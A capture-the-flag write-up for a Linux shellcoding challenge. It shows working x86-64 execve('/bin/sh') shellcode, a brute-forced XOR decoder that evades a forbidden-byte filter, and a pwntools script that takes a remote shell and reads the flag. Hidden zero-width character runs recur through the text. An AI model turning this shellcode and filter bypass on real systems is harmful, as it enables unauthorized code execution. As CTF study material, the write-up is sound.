← Back to Writeups
CUSTOMEasypwn

characteristic

XESXOR9/2/20265 min read
#pwn#custom#easy#badchar_avoidance#execve_bin_sh_shellcode#mmap_rwx_execution#printf_leak_parsing#xor_decoder_brute_force_key#linux

characteristic

Platform: pwn_spbctf | Category: pwn | Type: Challenge | Difficulty: Easy | OS: Linux | Author: XESXOR | Date: 2026-06-18 | Status: Solved Techniques: badchar_avoidance, execve_bin_sh_shellcode, mmap_rwx_execution, printf_leak_parsing, xor_decoder_brute_force_key

Summary

Task: x86-64 PIE/NX/canary binary mmaps a RWX page, reads shellcode, and rejects it if any byte equals one of several random forbidden bytes. Solution: the forbidden bytes are leaked via printf at startup, so parse them and send an execve(/bin/sh) shellcode containing none of them; an XOR-decoder with a brute-forced key is the robust fallback when the base shellcode collides.

characteristic — pwn_spbctf

Description

Are you able to bypass the check? Run the shellcode.

nc 109.233.56.90 11664

Pwn / pwn4 "shellcoding" — author Ilya Shilov (@shtrikh17)

A shellcoding challenge. The remote service generates a handful of random "forbidden" bytes, then lets you send raw shellcode into an executable page — but it rejects your input if it contains any forbidden byte. Goal: bypass the filter and get code execution to read the flag.

Analysis

The binary characteristic is a 64-bit PIE ELF with NX, a stack canary and Full RELRO. The interesting logic in main (@0x89a): ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

  1. srand(time(0)), then a loop i = 0..4 calls rand() and reduces each to a byte (rand % 256), producing 5 random "forbidden" bytes stored at [rbp-0xd] … [rbp-0x9].
  2. At 0x93c it prints them: printf("Bad chars: %02x %02x %02x %02x\n", b[-0xa], b[-0xb], b[-0xc], b[-0xd]). This leaks 4 of the 5 forbidden bytes. The 5th byte ([rbp-0x9]) is generated but never printed — and, crucially, never checked either.
  3. mmap(0, 0x1000, PROT_READ|PROT_WRITE|PROT_EXEC=7, MAP_PRIVATE|MAP_ANON=0x22, -1, 0) → an RWX page.
  4. puts(prompt), then read(0, page, 0x1000) → count.
  5. Trailing 0x0a (newline) bytes are stripped: while (last == '\n') count--.
  6. For each of the first count shellcode bytes: if it equals any of the 4 forbidden bytes, it prints a message and exit(-1).
  7. Otherwise it calls the page → your shellcode runs. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Two key weaknesses

  • The filter values are disclosed. Because the forbidden bytes are printed via printf, srand(time(0)) is irrelevant — we never need to predict the RNG. We simply read the leak and craft shellcode that avoids those exact bytes.
  • Off-by-one in the check: 5 forbidden bytes are generated, but the loop only validates against 4 of them (the 5th is generated and never compared), so the effective banned set is at most 4 of 256 values — trivial to avoid.

Solution

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

  1. Connect and parse the leak line Bad chars: xx xx xx xx into a set of 4 forbidden bytes. In the captured run the forbidden bytes were 49 5c 6a a8.
  2. Build a standard null-free, newline-free execve("/bin/sh", 0, 0) shellcode (28 bytes, using the neg rbx trick to embed "/bin/sh\0" without literal NUL bytes).
  3. If the base shellcode happens to contain none of the 4 forbidden bytes, send it directly. In this run {49,5c,6a,a8} did not collide, so the raw shellcode ran immediately → shell. cat /flag returned the flag (no getflag helper was needed on this host).
  4. Robust fallback (always works): if the base shellcode collides with a forbidden byte, encode it with a single-byte XOR key and prepend a small call/pop decoder stub. Brute-force the key over 0..255 so that neither the encoded payload nor the decoder stub contains any forbidden byte. With only 4 of 256 values banned there is plenty of freedom, so a valid key is found almost immediately. An assert all(b not in bad for b in payload) guarantees correctness before sending. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Implementation note (reusable)

The solve host was arm64 macOS, where pwntools asm() fails to assemble x86-64. Assemble the shellcode with keystone instead: Ks(KS_ARCH_X86, KS_MODE_64).

python
#!/usr/bin/env python3
from pwn import *
import re, sys, time
from keystone import Ks, KS_ARCH_X86, KS_MODE_64

HOST, PORT = '109.233.56.90', 11664
_ks = Ks(KS_ARCH_X86, KS_MODE_64)
def asm(src):
    enc, _ = _ks.asm(src)
    return bytes(enc)

# Null-free, newline-free execve("/bin/sh", 0, 0)
base_sc = asm('''
    xor rax, rax
    mov rbx, 0xff978cd091969dd1
    neg rbx
    push rbx
    push rsp
    pop rdi
    cdq
    push rdx
    push rdi
    push rsp
    pop rsi
    mov al, 0x3b
    syscall
''')
‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

def build_decoder_payload(bad):
    """XOR-encode base_sc; brute-force a key so the encoded payload AND the
    decoder stub avoid every forbidden byte."""
    n = len(base_sc)
    for key in range(1, 256):
        if key in bad:
            continue
        enc = bytes(b ^ key for b in base_sc)
        if any(b in bad for b in enc):
            continue
        decoder = asm(f'''
            jmp get_addr
        decode:
            pop rsi
            xor rcx, rcx
            mov cl, {n}
        loop_xor:
            xor byte ptr [rsi + rcx - 1], {key}
            loop loop_xor
            jmp rsi
        get_addr:
            call decode
        ''')
        full = decoder + enc
        if any(b in bad for b in full) or b'\n' in full:
            continue
        return full, key
    return None, None
‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

def run():
    io = remote(HOST, PORT, timeout=30)
    line = io.recvline(timeout=10)  # "Bad chars: xx xx xx xx"
    m = re.search(rb'Bad chars:\s*([0-9a-fA-F]{2})\s+([0-9a-fA-F]{2})\s+([0-9a-fA-F]{2})\s+([0-9a-fA-F]{2})', line)
    bad = set(int(x, 16) for x in m.groups())
    log.success("Forbidden bytes: %s", " ".join("%02x" % b for b in sorted(bad)))

    if any(b in bad for b in base_sc) or b'\n' in base_sc:
        payload, key = build_decoder_payload(bad)
        log.info("Using XOR decoder, key=0x%02x, len=%d", key, len(payload))
    else:
        payload = base_sc
        log.info("Base shellcode clean, len=%d", len(payload))
‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

    assert all(b not in bad for b in payload), "payload contains forbidden byte!"
    assert b'\n' not in payload, "payload contains newline!"

    io.recvuntil(b'dud3zz?', timeout=5)
    io.send(payload)
    time.sleep(1)
    io.sendline(b'id; cat /flag; cat /flag.txt; ls -la /')
    time.sleep(2)
    print(io.recvall(timeout=5).decode(errors='replace'))

if __name__ == '__main__':
    run()

Running it: the leak gives 49 5c 6a a8, the base shellcode is clean, it runs, and cat /flag prints the flag. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍